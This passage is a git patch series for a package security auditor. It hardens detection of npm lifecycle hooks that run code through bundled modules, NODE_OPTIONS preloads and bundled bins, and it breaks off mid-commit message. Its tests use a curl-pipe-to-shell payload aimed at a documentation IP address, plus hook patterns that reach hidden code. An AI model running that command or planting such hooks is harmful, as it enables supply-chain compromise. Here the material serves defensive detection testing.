From 5e983946a17ee9cbdfd581e819a14f59131840d1 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:31:08 +0200 Subject: [PATCH 1/7] fix(core): resolve bundled modules, preloads and bins in install-scripts A package can run its own code from a lifecycle hook through a bundled dependency or an extension-less preload without the hook escalating. Bare names now resolve against the tarball only (never the host or the network): - `-r`, `--require`, `--import` and `--loader` with a bare specifier try `node_modules/` as a file, then `.js`, then the bundled package's `main` and `index.js` (scoped specifiers too). A name that is not shipped resolves nothing, so a benign bundled `dotenv/config` stays clean. - `NODE_OPTIONS` and any `VAR=value` prefix are tokenized (a quoted value may span words) and get the same preload handling as the command line, including extension-less relative values. - A command word also resolves to `node_modules/.bin/` and to the file a bundled package's `bin` entry points at (string or object form), mapped once per audit. Two tests that pinned the old behavior now assert it with an unshipped module and a benign bundled module. Bump AUDIT_REVISION to 5: rule semantics changed. Closes #87 --- docs/adr/0056-security-audit-hardening.md | 9 +- packages/core/src/audit.ts | 2 +- packages/core/src/rules/install-scripts.ts | 59 +++++++++++-- .../test/security-bundled-modules.test.ts | 87 +++++++++++++++++++ .../test/security-rule-robustness-10.test.ts | 7 +- 5 files changed, 148 insertions(+), 16 deletions(-) create mode 100644 packages/core/test/security-bundled-modules.test.ts diff --git a/docs/adr/0056-security-audit-hardening.md b/docs/adr/0056-security-audit-hardening.md index 99a7a5e..4a69566 100644 --- a/docs/adr/0056-security-audit-hardening.md +++ b/docs/adr/0056-security-audit-hardening.md @@ -280,14 +280,13 @@ and `transferRequestBytes` take `currentChallengeId`. critical finding, and re-import is refused once native history exists. The operator's remedy is a policy exception for that name (or relaxing the repository constraint) until a new release is published with provenance. -- Detection gaps left for follow-up (`npm run ` was closed in #85, by deliberate over-following: +- Detection gaps (`npm run ` was closed in #85, by deliberate over-following: after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its `pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger check; #86 closed `.`/`source` as interpreters, pipes into an interpreter, pathed wrappers, - `tsx`/`ts-node`/`.ts` operands and `node `; `AUDIT_REVISION` is 4): bare - `-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not - resolved, command words are not looked up in bundled `node_modules/.bin`, - and the overflow fallback stays regex-based. Other rules still scan those + `tsx`/`ts-node`/`.ts` operands and `node `; #87 closed bare `-r`/`NODE_OPTIONS` specifiers, + extension-less preload paths and bundled `node_modules/.bin` / `bin` commands, all resolved against the + tarball only; `AUDIT_REVISION` is 5). The overflow fallback stays regex-based. Other rules still scan those files; only the lifecycle-script escalation is lost. ## Not changed diff --git a/packages/core/src/audit.ts b/packages/core/src/audit.ts index 729b093..4f8b821 100644 --- a/packages/core/src/audit.ts +++ b/packages/core/src/audit.ts @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js"; export const ENGINE_VERSION = "0.1.0-alpha.2"; /** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */ -export const AUDIT_REVISION = 4; +export const AUDIT_REVISION = 5; /** Run the heuristic rule pipeline over an already-extracted package. */ export function runRules(input: AuditInput): Finding[] { diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 87f69c7..3059aec 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -230,6 +230,43 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return hit ?? undefined; }; + // A bare module name resolves inside the tarball only: node_modules/ as a file, `.js`, then its package main / index.js. + const resolveModule = (spec: string): PackageFile | undefined => { + const m = `package/node_modules/${spec}`; + return exact(m) ?? exact(`${m}.js`) ?? entry(m); + }; + // Bins of bundled packages (`bin` is a string or an object), mapped to the files they point at; built once on first use. + let bins: Map | undefined; + const bundledBin = (name: string): PackageFile | undefined => { + if (!bins) { + bins = new Map(); + for (const f of files) { + const pkg = /^package\/node_modules\/((?:@[^/]+\/)?[^/]+)\/package\.json$/.exec(f.path)?.[1]; + if (!pkg) continue; + let bin: unknown; + try { bin = JSON.parse(f.content)?.bin; } catch { continue; } + const map: Record = typeof bin === "string" ? { [pkg.slice(pkg.lastIndexOf("/") + 1)]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; + for (const [n, rel] of Object.entries(map)) { + const t = typeof rel === "string" ? `package/node_modules/${pkg}/${rel.replace(/^\.\//, "")}` : ""; + const hit = t ? exact(t) ?? exact(`${t}.js`) : undefined; + if (hit && !bins.has(n)) bins.set(n, hit); + } + } + } + return bins.get(name) ?? exact(`package/node_modules/.bin/${name}`); + }; + // The file a preload flag value (`-r `) loads: a local path, else a bundled module. + const preload = (value: string): PackageFile | undefined => + value ? (LOCAL_PATH.test(value) ? resolveWord(value, "script") : resolveModule(value)) : undefined; + /** Tokens of a `VAR=value` assignment (`NODE_OPTIONS`): `-r ` / `--require ` preloads and relative code files. */ + const scanOptionTokens = (tokens: string[], out: Set): void => { + for (let k = 0; k < tokens.length; k++) { + const t = trimPunct(tokens[k]!); + const hit = CODE_VALUE_FLAG.test(t) ? preload(trimPunct(tokens[++k] ?? "")) + : CODE_WORD.test(t) && LOCAL_PATH.test(t) ? resolveWord(t, "script") : undefined; + if (hit) out.add(hit); + } + }; let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); @@ -267,7 +304,10 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (/^(?:[/-]|[A-Za-z_]\w*=)/.test(w)) return undefined; // not a flag, absolute path or `VAR=value` const t = trimPunct(w); if (w.includes("/")) return resolveWord(t, "path"); - return WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; + const own = WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; + const bin = bundledBin(t); + if (own && bin) spill.push(bin); + return own ?? bin; }; const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); @@ -338,13 +378,17 @@ function makeResolver(files: PackageFile[], scripts: Record): (c for (; i < words.length && isPrefix(words, i); i++) { const local = localCommand(words[i]!); if (local) out.add(local); - // `NODE_OPTIONS=--require=./hook.js node -v`: a code file inside an assignment value runs too. + // `NODE_OPTIONS=--require=./hook node -v`: preload flags and code files inside an assignment value run too. const eq = words[i]!.indexOf("="); if (eq < 0) continue; - for (const piece of words[i]!.slice(eq + 1).split(/[\s=]+/)) { - const hit = CODE_WORD.test(piece) && /^(?:\.{1,2}\/|\/)/.test(piece) ? resolveWord(piece, "script") : undefined; - if (hit) out.add(hit); + let val = words[i]!.slice(eq + 1); + const q = val[0] === "'" || val[0] === '"' ? val[0] : ""; + if (q && !(val.length > 1 && val.endsWith(q))) { // `NODE_OPTIONS='-r ./hook'`: the quote spans words (none closing: one word) + let e = i + 1; + while (e < rawWords.length && !rawWords[e]!.endsWith(q)) e++; + if (e < rawWords.length) { val += ` ${rawWords.slice(i + 1, e + 1).join(" ")}`; i = e; } } + scanOptionTokens(unquote(val).split(/[\s=]+/), out); } const command = words[i]; if (!command) continue; @@ -407,8 +451,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const eq = w.indexOf("="); const generic = !m && eq > 0 && CODE_WORD.test(w.slice(eq + 1)) ? w.slice(eq + 1) : undefined; const value = m ? (m[1] ?? words[++j]) : generic; - // A bare specifier (`dotenv/config`) is a node_modules module, not a package script. - const hit = value && /^(?:\.{1,2}\/|\/)/.test(value) ? resolveWord(value, "script") : undefined; + // A bare specifier (`dotenv/config`) is a bundled node_modules module, resolved inside the tarball only. + const hit = value && (m || LOCAL_PATH.test(value)) ? preload(value) : undefined; if (hit) out.add(hit); continue; } @@ -437,6 +481,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } const MAX_INLINE_DEPTH = 3; +const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; const base = (w: string) => w.slice(w.lastIndexOf("/") + 1); const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts new file mode 100644 index 0000000..8188d10 --- /dev/null +++ b/packages/core/test/security-bundled-modules.test.ts @@ -0,0 +1,87 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// install-scripts resolves bare module names, extension-less preloads and bundled bins against the tarball only. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const PAYLOAD = `${CURL_SH}\n`; +const BENIGN = "console.log(1)\n"; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const sev = (hook: string, files: Record) => + runRules(inputFor({ ...files, "package/package.json": JSON.stringify({ scripts: { postinstall: hook } }) })) + .filter((x) => x.ruleId === "install-scripts").map((x) => x.severity); + +/** `hook` is critical when `path` holds the payload and low when it holds a benign file. */ +function row(label: string, hook: string, path: string, extra: Record = {}) { + test(`${label}: \`${hook}\``, () => { + assert.deepEqual(sev(hook, { ...extra, [path]: PAYLOAD }), ["critical"]); + assert.deepEqual(sev(hook, { ...extra, [path]: BENIGN }), ["low"]); + }); +} +const setup = { "package/setup.js": BENIGN }; + +describe("preloads from bundled modules", () => { + row("bare specifier, index.js", "node -r evil setup.js", "package/node_modules/evil/index.js", setup); + row("bare specifier, file", "node -r evil setup.js", "package/node_modules/evil", setup); + row("bare specifier, .js", "node --require evil setup.js", "package/node_modules/evil.js", setup); + row("bare specifier, package main", "node --import evil setup.js", "package/node_modules/evil/lib/run.js", { + ...setup, "package/node_modules/evil/package.json": '{"main":"lib/run"}', + }); + row("scoped specifier with a subpath", "node --loader @a/b/x setup.js", "package/node_modules/@a/b/x.js", setup); + row("extension-less relative value", "node --require=./hook setup.js", "package/hook.js", setup); + + test("a bare specifier that is not shipped resolves nothing", () => { + assert.deepEqual(sev("node -r evil setup.js", { ...setup, "package/lib/evil/index.js": PAYLOAD }), ["low"]); + }); + test("a bundled dotenv/config with benign content stays clean", () => { + assert.deepEqual(sev("node -r dotenv/config setup.js", { ...setup, "package/node_modules/dotenv/config.js": BENIGN }), ["low"]); + }); +}); + +describe("NODE_OPTIONS and VAR=value prefixes", () => { + row("extension-less relative value", "NODE_OPTIONS=--require=./hook node -v", "package/hook.js"); + row("flag and value as separate words in quotes", "NODE_OPTIONS='-r ./hook.js' node -v", "package/hook.js"); + row("double-quoted flag and value", 'NODE_OPTIONS="--require ./hook" node -v', "package/hook.js"); + row("bare specifier", "NODE_OPTIONS=--require=evil node -v", "package/node_modules/evil/index.js"); + row("bare specifier, quoted separate words", "NODE_OPTIONS='-r evil' node -v", "package/node_modules/evil/index.js"); + row("a wrapper before the command", "NODE_OPTIONS='-r evil' env node -v", "package/node_modules/evil/index.js"); + + test("a quoted value that never closes does not swallow the command", () => { + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook node setup.js", { ...setup, "package/hook.js": BENIGN }), ["low"]); + assert.deepEqual(sev("NODE_OPTIONS='-r ./hook node setup.js", { "package/setup.js": PAYLOAD }), ["critical"]); + }); +}); + +describe("commands from bundled bins", () => { + row("node_modules/.bin", "evil-bin", "package/node_modules/.bin/evil-bin"); + row("bin as a string", "evil", "package/node_modules/evil/cli.js", { "package/node_modules/evil/package.json": '{"bin":"cli.js"}' }); + row("bin as an object", "evil-bin --flag", "package/node_modules/evil/bin/run", { + "package/node_modules/evil/package.json": '{"bin":{"evil-bin":"./bin/run"}}', + }); + row("scoped package bin string", "evil", "package/node_modules/@s/evil/cli.js", { "package/node_modules/@s/evil/package.json": '{"bin":"cli.js"}' }); + row("after a wrapper", "env evil-bin", "package/node_modules/.bin/evil-bin"); + + test("a command that no bundled package provides resolves nothing", () => { + assert.deepEqual(sev("evil-bin", { "package/node_modules/evil/package.json": '{"bin":{"other":"cli.js"}}', "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + }); + test("a malformed bundled package.json is ignored", () => { + assert.deepEqual(sev("evil", { "package/node_modules/evil/package.json": "{not json", "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + }); +}); diff --git a/packages/core/test/security-rule-robustness-10.test.ts b/packages/core/test/security-rule-robustness-10.test.ts index 8b54b4e..2b05864 100644 --- a/packages/core/test/security-rule-robustness-10.test.ts +++ b/packages/core/test/security-rule-robustness-10.test.ts @@ -33,7 +33,7 @@ describe("the suffix fallback does not match bare command words or module specif ["node-gyp rebuild", { "package/lib/node-gyp.js": payload }], ["npm run build", { "package/node_modules/npm/lib/npm.js": payload }], ["echo done", { "package/vendor/shelljs/src/echo.js": payload }], - ["node -r dotenv/config setup.js", { "package/node_modules/dotenv/config.js": payload, "package/setup.js": "console.log(1)\n" }], + ["node -r dotenv/config setup.js", { "package/lib/dotenv/config.js": payload, "package/setup.js": "console.log(1)\n" }], ]; for (const [cmd, files] of rows) { test(`\`${cmd}\` stays non-critical`, () => { @@ -106,7 +106,8 @@ describe("a preload path inside an environment assignment", () => { test("`NODE_OPTIONS=--require=./hook.js node -v` scans hook.js", () => { assert.equal(crit({ "package/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=./hook.js node -v").length, 1); }); - test("a bare specifier in NODE_OPTIONS is a node_modules module, not a package script", () => { - assert.equal(crit({ "package/node_modules/x/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); + test("a bare specifier in NODE_OPTIONS resolves inside the tarball only: a benign bundled module is clean, an unshipped one resolves nothing", () => { + assert.equal(crit({ "package/node_modules/x/hook.js": "module.exports = 1\n" }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); + assert.equal(crit({ "package/lib/x/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); }); }); From 36e9200efc36838752edfc62fa2a76c37fd3637e Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:37:28 +0200 Subject: [PATCH 2/7] fix(core): harden bundled module and bin resolution in install-scripts - Quoted assignment values (`NODE_OPTIONS='-r ./hook'`) are spanned in linear time: the open quote is counted from the real quote state, the closing word comes from the precomputed index, and each word is spanned at most once. The spanned words are still read as normal words, so spanning only adds coverage and cannot hide a command. - Every file a bundled package's `bin` points at is scanned, per command name and across all declaring packages, together with `node_modules/.bin/`, regardless of tar order. Targets are exact normalized paths (no `.js` appended, no `..`), and package names over 214 characters are skipped. - Shell builtins in direct command position skip the bin lookup; behind `env`, `sudo`, `exec`, `nohup`, `npx` or `xargs` they do not. - Preload flags are parsed only as flags (`-r`, `--require`, `--import`, `--loader`, `--experimental-loader`), shared by the command line and `NODE_OPTIONS`; quotes around the value are removed, and `--title=--require=x` is not a preload. - A dotted relative preload (`./hook.prod`) tries `.js`. - A bundled module is followed through the spec as a file (`.js`, `.mjs`, `.cjs`), `main`, `index.js` and every string target of `exports` (bounded walk). Refs #87 --- packages/core/src/rules/install-scripts.ts | 132 +++++++++++++----- .../test/security-bundled-modules.test.ts | 48 +++++++ 2 files changed, 148 insertions(+), 32 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 3059aec..446aa30 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -230,44 +230,81 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } return hit ?? undefined; }; - // A bare module name resolves inside the tarball only: node_modules/ as a file, `.js`, then its package main / index.js. - const resolveModule = (spec: string): PackageFile | undefined => { - const m = `package/node_modules/${spec}`; - return exact(m) ?? exact(`${m}.js`) ?? entry(m); + let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned + const spillAll = (hits: (PackageFile | undefined)[]): PackageFile | undefined => { + const [first, ...rest] = new Set(hits.filter((f): f is PackageFile => !!f)); + for (const f of rest) spill.push(f); + return first; }; - // Bins of bundled packages (`bin` is a string or an object), mapped to the files they point at; built once on first use. - let bins: Map | undefined; - const bundledBin = (name: string): PackageFile | undefined => { + // Bare module names resolve inside the tarball only (never the host or network). Over-follow: the spec as a file + // (`.js`/`.mjs`/`.cjs`), the package main / index.js, and every string target of the package's `exports`. + const exportTargets = new Map(); + const targetsOf = (pkgDir: string): string[] => { + let t = exportTargets.get(pkgDir); + if (!t) { + t = []; + let exp: unknown; + try { exp = JSON.parse(exact(`${pkgDir}/package.json`)?.content ?? "null")?.exports; } catch { /* no exports */ } + for (let stack: unknown[] = [exp], seen = 0; stack.length && seen < 1000; seen++) { // node bound + const v = stack.pop(); + if (typeof v === "string") { const n = normalizeRel(v); if (n) t.push(n); } + else if (v && typeof v === "object") for (const c of Object.values(v)) stack.push(c); + } + exportTargets.set(pkgDir, t); + } + return t; + }; + const modules = new Map(); + const resolveModule = (spec: string): (PackageFile | undefined)[] => { + let hits = modules.get(spec); + if (!hits) { + const m = `package/node_modules/${spec}`; + const pkg = `package/node_modules/${spec.split("/").slice(0, spec.startsWith("@") ? 2 : 1).join("/")}`; + hits = [exact(m), exact(`${m}.js`), exact(`${m}.mjs`), exact(`${m}.cjs`), entry(m), ...targetsOf(pkg).map((t) => exact(`${pkg}/${t}`))]; + modules.set(spec, hits); + } + return hits; + }; + // Every file a bundled package's `bin` (a string or an object) points at, per command name, plus `node_modules/.bin/`. + // The map is built once on first use; targets are exact normalized paths, in any tar order. + let bins: Map> | undefined; + const bundledBins = (name: string): (PackageFile | undefined)[] => { if (!bins) { bins = new Map(); for (const f of files) { const pkg = /^package\/node_modules\/((?:@[^/]+\/)?[^/]+)\/package\.json$/.exec(f.path)?.[1]; - if (!pkg) continue; + if (!pkg || pkg.split("/").some((c) => c.length > 214)) continue; // npm names are at most 214 chars let bin: unknown; try { bin = JSON.parse(f.content)?.bin; } catch { continue; } const map: Record = typeof bin === "string" ? { [pkg.slice(pkg.lastIndexOf("/") + 1)]: bin } : bin && typeof bin === "object" ? (bin as Record) : {}; for (const [n, rel] of Object.entries(map)) { - const t = typeof rel === "string" ? `package/node_modules/${pkg}/${rel.replace(/^\.\//, "")}` : ""; - const hit = t ? exact(t) ?? exact(`${t}.js`) : undefined; - if (hit && !bins.has(n)) bins.set(n, hit); + const r = typeof rel === "string" ? normalizeRel(rel) : undefined; + const hit = r ? exact(`package/node_modules/${pkg}/${r}`) : undefined; + if (hit) (bins.get(n) ?? bins.set(n, new Set()).get(n)!).add(hit); } } } - return bins.get(name) ?? exact(`package/node_modules/.bin/${name}`); + return [...(bins.get(name) ?? []), exact(`package/node_modules/.bin/${name}`)]; + }; + // The file a preload flag value (`-r `) loads: a local path, else a bundled module. The `.js` retry applies + // even when the basename has a dot (`./hook.prod`). + const preload = (value: string): PackageFile | undefined => { + const v = trimPunct(value); + if (!v) return undefined; + return spillAll(LOCAL_PATH.test(v) + ? [resolveWord(v, "script"), v.startsWith("/") ? undefined : exact(`package/${v.replace(/^\.\//, "")}.js`)] + : resolveModule(v)); }; - // The file a preload flag value (`-r `) loads: a local path, else a bundled module. - const preload = (value: string): PackageFile | undefined => - value ? (LOCAL_PATH.test(value) ? resolveWord(value, "script") : resolveModule(value)) : undefined; - /** Tokens of a `VAR=value` assignment (`NODE_OPTIONS`): `-r ` / `--require ` preloads and relative code files. */ + /** Tokens of a `VAR=value` assignment (`NODE_OPTIONS`): recognized preload flags (`-r x`, `--require=x`) and relative code files. */ const scanOptionTokens = (tokens: string[], out: Set): void => { for (let k = 0; k < tokens.length; k++) { const t = trimPunct(tokens[k]!); - const hit = CODE_VALUE_FLAG.test(t) ? preload(trimPunct(tokens[++k] ?? "")) - : CODE_WORD.test(t) && LOCAL_PATH.test(t) ? resolveWord(t, "script") : undefined; + const m = CODE_VALUE_FLAG.exec(t); + const hit = m ? preload(m[1] ?? tokens[++k] ?? "") + : spillAll(t.split("=").map((piece) => (CODE_WORD.test(piece) && LOCAL_PATH.test(piece) ? resolveWord(piece, "script") : undefined))); if (hit) out.add(hit); } }; - let spill: PackageFile[] = []; // extra candidates a resolution found besides the one it returned const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { const ref = raw.replace(/^\.\//, "").replace(/\/$/, "") || (raw === "./" ? "." : ""); if (!ref) return undefined; @@ -300,14 +337,13 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // A command word is judged by its basename (`/usr/bin/env` is `env`). A relative path that names a package file // (`./bin/env`) is that file too: it is scanned (`localCommand`) and still plays the wrapper/interpreter role. // Path-qualified: exact, then suffix (after a `cd`). Bare: only a wrapper or interpreter name, exact (`tsx` may be `package/tsx`). - const localCommand = (w: string): PackageFile | undefined => { + const localCommand = (w: string, direct: boolean): PackageFile | undefined => { if (/^(?:[/-]|[A-Za-z_]\w*=)/.test(w)) return undefined; // not a flag, absolute path or `VAR=value` const t = trimPunct(w); if (w.includes("/")) return resolveWord(t, "path"); const own = WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; - const bin = bundledBin(t); - if (own && bin) spill.push(bin); - return own ?? bin; + // A shell builtin in direct command position never runs a bundled bin; behind `env`/`sudo`/... it does. + return spillAll([own, ...(direct && SHELL_BUILTINS.has(t) ? [] : bundledBins(t))]); }; const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); @@ -375,26 +411,28 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return list[lo]; }; let i = 0; + let viaWrapper = false; // after `env`/`sudo`/... the next word is an external command, never a builtin + let spanEnd = -1; // last word of the quoted assignment value being spanned: each word is spanned at most once for (; i < words.length && isPrefix(words, i); i++) { - const local = localCommand(words[i]!); + const local = localCommand(words[i]!, !viaWrapper); if (local) out.add(local); + if (EXTERNAL_WRAPPERS.has(base(trimPunct(words[i]!)))) viaWrapper = true; // `NODE_OPTIONS=--require=./hook node -v`: preload flags and code files inside an assignment value run too. const eq = words[i]!.indexOf("="); if (eq < 0) continue; let val = words[i]!.slice(eq + 1); - const q = val[0] === "'" || val[0] === '"' ? val[0] : ""; - if (q && !(val.length > 1 && val.endsWith(q))) { // `NODE_OPTIONS='-r ./hook'`: the quote spans words (none closing: one word) - let e = i + 1; - while (e < rawWords.length && !rawWords[e]!.endsWith(q)) e++; - if (e < rawWords.length) { val += ` ${rawWords.slice(i + 1, e + 1).join(" ")}`; i = e; } - } - scanOptionTokens(unquote(val).split(/[\s=]+/), out); + // `NODE_OPTIONS='-r ./hook'`: a quote left open by the word spans to the next word that ends with it. The + // spanned words are also read as normal words (no skipping), so spanning only adds coverage. + const q = i > spanEnd ? openQuote(val) : ""; + const e = q ? nextClose(q, i + 1) : undefined; + if (e !== undefined) { val += ` ${rawWords.slice(i + 1, e + 1).join(" ")}`; spanEnd = e; } + scanOptionTokens(unquote(val).split(/\s+/), out); } const command = words[i]; if (!command) continue; const name = trimPunct(command); const interpreter = base(name); - const local = localCommand(command); + const local = localCommand(command, !viaWrapper); if (local) out.add(local); if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; @@ -482,6 +520,36 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const MAX_INLINE_DEPTH = 3; const LOCAL_PATH = /^(?:\.{1,2}\/|\/)/; +// Wrappers that exec an external program: `env echo` runs a bundled `echo` bin, a bare `echo` is the builtin. +const EXTERNAL_WRAPPERS = new Set(["env", "exec", "nohup", "sudo", "npx", "xargs"]); +const SHELL_BUILTINS = new Set([ + ":", ".", "[", "alias", "bg", "break", "cd", "command", "continue", "declare", "dirs", "echo", "eval", "exec", "exit", "export", + "false", "fg", "getopts", "hash", "help", "history", "jobs", "kill", "let", "local", "popd", "printf", "pushd", "pwd", "read", + "readonly", "return", "set", "shift", "source", "test", "time", "times", "trap", "true", "type", "typeset", "ulimit", "umask", + "unalias", "unset", "wait", +]); + +/** The quote character a shell word leaves open (`'-r`), counting unescaped quotes; "" when balanced. */ +function openQuote(w: string): string { + let q = ""; + for (let i = 0; i < w.length; i++) { + const c = w[i]!; + if (c === "\\" && q !== "'") i++; + else if (q) { if (c === q) q = ""; } + else if (c === "'" || c === '"') q = c; + } + return q; +} + +/** A declared relative path as npm normalizes it (`./a/../b` -> `b`); undefined when empty or it climbs out (`..`). */ +function normalizeRel(rel: string): string | undefined { + const out: string[] = []; + for (const seg of rel.split("/")) { + if (seg === "" || seg === ".") continue; + if (seg === "..") { if (!out.pop()) return undefined; } else out.push(seg); + } + return out.join("/") || undefined; +} const base = (w: string) => w.slice(w.lastIndexOf("/") + 1); const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). diff --git a/packages/core/test/security-bundled-modules.test.ts b/packages/core/test/security-bundled-modules.test.ts index 8188d10..24aa7a7 100644 --- a/packages/core/test/security-bundled-modules.test.ts +++ b/packages/core/test/security-bundled-modules.test.ts @@ -69,6 +69,54 @@ describe("NODE_OPTIONS and VAR=value prefixes", () => { }); }); +describe("round 2 hardening", () => { + test("60,000 unclosed quoted assignments finish quickly", () => { + const t0 = performance.now(); + assert.deepEqual(sev(`${"A='x ".repeat(60000)}node setup.js`, { "package/setup.js": PAYLOAD }), ["critical"]); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); + }); + test("words a quoted assignment spans are still processed as commands", () => { + assert.deepEqual(sev("A='x node setup.js y'", { "package/setup.js": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("A='x node setup.js y'", { "package/setup.js": BENIGN }), ["low"]); + }); + test("every package declaring a bin is scanned, whatever the tar order", () => { + const a = { "package/node_modules/a/package.json": '{"bin":{"evil":"x.js"}}', "package/node_modules/a/x.js": BENIGN }; + const b = { "package/node_modules/b/package.json": '{"bin":{"evil":"y.js"}}', "package/node_modules/b/y.js": PAYLOAD }; + assert.deepEqual(sev("evil", { ...a, ...b }), ["critical"]); + assert.deepEqual(sev("evil", { ...b, ...a }), ["critical"]); + assert.deepEqual(sev("evil", { ...a, "package/node_modules/.bin/evil": BENIGN, ...b }), ["critical"]); + assert.deepEqual(sev("evil", { ...b, "package/node_modules/.bin/evil": PAYLOAD, ...a }), ["critical"]); + }); + test("a preload flag is parsed only as a flag, with its value unquoted", () => { + const mod = { "package/node_modules/logger/index.js": PAYLOAD }; + assert.deepEqual(sev("node --require='logger' setup.js", { ...setup, ...mod }), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--require='logger' node -v", mod), ["critical"]); + assert.deepEqual(sev("NODE_OPTIONS=--title=--require=logger node -v", mod), ["low"]); + }); + test("bin targets are exact normalized paths: no .js appended, no `..`", () => { + const pkg = (bin: string) => ({ "package/node_modules/evil/package.json": JSON.stringify({ bin }) }); + assert.deepEqual(sev("evil", { ...pkg("cli"), "package/node_modules/evil/cli.js": PAYLOAD }), ["low"]); + assert.deepEqual(sev("evil", { ...pkg("../outside.js"), "package/node_modules/outside.js": PAYLOAD }), ["low"]); + assert.deepEqual(sev("evil", { ...pkg("./bin/../cli.js"), "package/node_modules/evil/cli.js": PAYLOAD }), ["critical"]); + }); + test("shell builtins skip the bin lookup unless a wrapper dispatches them", () => { + const bins = { "package/node_modules/.bin/echo": PAYLOAD }; + assert.deepEqual(sev("echo ready", bins), ["low"]); + assert.deepEqual(sev("env echo ready", bins), ["critical"]); + assert.deepEqual(sev("sudo echo ready", bins), ["critical"]); + }); + test("a package directory with an over-long name is skipped", () => { + const name = "a".repeat(215); + assert.deepEqual(sev("evil", { [`package/node_modules/${name}/package.json`]: '{"bin":{"evil":"cli.js"}}', [`package/node_modules/${name}/cli.js`]: PAYLOAD }), ["low"]); + }); + row("a dotted relative preload gets .js", "node -r ./hook.prod setup.js", "package/hook.prod.js", setup); + row("a bundled module reachable only through exports", "node -r evil setup.js", "package/node_modules/evil/lib/cjs.js", { + ...setup, "package/node_modules/evil/package.json": '{"exports":{".":{"import":"./esm.mjs","require":"./lib/cjs.js"}}}', + }); + row("a bundled module as .mjs", "node --import evil setup.js", "package/node_modules/evil.mjs", setup); +}); + describe("commands from bundled bins", () => { row("node_modules/.bin", "evil-bin", "package/node_modules/.bin/evil-bin"); row("bin as a string", "evil", "package/node_modules/evil/cli.js", { "package/node_modules/evil/package.json": '{"bin":"cli.js"}' }); From a331681fbc27c4b5a602a41bf1b2f2f73f500f02 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:43:15 +0200 Subject: [PATCH 3/7] fix(core): resume after quoted assignments and fail closed on bundled packages - After a quoted assignment value spans words, prefix parsing resumes after the closing quote, so `NODE_OPTIONS='-r ./hook' node setup` resolves `setup` and `A='x y' NODE_OPTIONS=--require=./h.js node -v` finds `h.js`. The spanned words are also scanned as a command line of their own, so spanning cannot hide a command. - Option tokens split on unquoted whitespace only, so text inside a 